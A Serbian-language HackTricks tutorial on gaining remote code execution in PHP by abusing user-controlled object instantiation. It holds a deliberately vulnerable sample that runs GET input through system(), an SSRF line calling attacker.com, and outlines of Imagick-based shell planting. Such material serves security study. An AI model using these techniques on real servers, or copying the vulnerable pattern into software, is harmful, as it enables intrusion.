PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ovo je u osnovi sažetak https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Uvod

Kreiranje novih proizvoljnih objekata, kao što je new $_GET["a"]($_GET["a"]), može dovesti do izvršavanja udaljenog koda (RCE), kako je detaljno opisano u writeup-u. Ovaj dokument ističe različite strategije za postizanje RCE-a.

RCE putem prilagođenih klasa ili automatskog učitavanja

Sintaksa new $a($b) se koristi za instanciranje objekta gde $a predstavlja ime klase, a $b je prvi argument koji se prosleđuje konstruktoru. Ove promenljive mogu biti dobijene iz korisničkog unosa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde mogu biti drugi tipovi.

Razmotrite sledeći primer koda:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

U ovom slučaju, postavljanje $a na App ili App2 i $b na sistemsku komandu (npr. uname -a) rezultira izvršavanjem te komande.

Funkcije automatskog učitavanja mogu biti iskorišćene ako nema takvih klasa koje su direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se koristeći spl_autoload_register ili __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Ponašanje automatskog učitavanja varira sa verzijama PHP-a, nudeći različite mogućnosti RCE-a.

RCE putem ugrađenih klasa

Ako nemate prilagođene klase ili autoloadere, ugrađene PHP klase mogu biti dovoljne za RCE. Broj ovih klasa varira između 100 i 200, zavisno od verzije PHP-a i ekstenzija. Mogu se izlistati koristeći get_declared_classes().

Konstruktori od interesa mogu se identifikovati kroz reflection API, kao što je prikazano u sledećem primeru i linku https://3v4l.org/2JEGF.

RCE putem određenih metoda uključuje:

SSRF + deserijalizacija Phar

Klasa SplFileObject omogućava SSRF putem svog konstruktora, omogućavajući konekcije ka bilo kojem URL-u:

new SplFileObject('http://attacker.com/');

SSRF može dovesti do napada deserializacije u verzijama PHP-a prije 8.0 korišćenjem Phar protokola.

Iskorišćavanje PDO-a

Konstruktor klase PDO omogućava povezivanje sa bazama podataka putem DSN stringova, što potencijalno omogućava kreiranje datoteka ili druge interakcije:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima putem konstruktora SoapClient i SimpleXMLElement, u zavisnosti od verzije libxml2.

RCE putem Imagick ekstenzije

Analizom zavisnosti projekta, otkriveno je da se Imagick može iskoristiti za izvršavanje komandi instanciranjem novih objekata. Ovo pruža mogućnost iskorišćavanja ranjivosti.

VID parser

Identifikovana je mogućnost parsera VID-a da piše sadržaj na bilo koju određenu putanju u fajl sistemu. Ovo može dovesti do postavljanja PHP šel-a u direktorijum koji je dostupan preko web-a, postižući izvršavanje udaljenog koda (RCE).

VID Parser + Slanje fajla

Primećeno je da PHP privremeno čuva poslate fajlove u /tmp/phpXXXXXX. VID parser u Imagick-u, koristeći protokol msl, može da rukuje džokerima u putanjama fajlova, olakšavajući prenos privremenog fajla na odabranu lokaciju. Ovaj metod pruža dodatni pristup za postizanje proizvoljnog pisanja fajlova u fajl sistemu.

PHP pad + Brute Force

Metod opisan u originalnom opisu uključuje slanje fajlova koji izazivaju pad servera pre brisanja. Brute force-ovanjem naziva privremenog fajla, postaje moguće da Imagick izvrši proizvoljni PHP kod. Međutim, ova tehnika je efikasna samo u zastareloj verziji ImageMagick-a.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated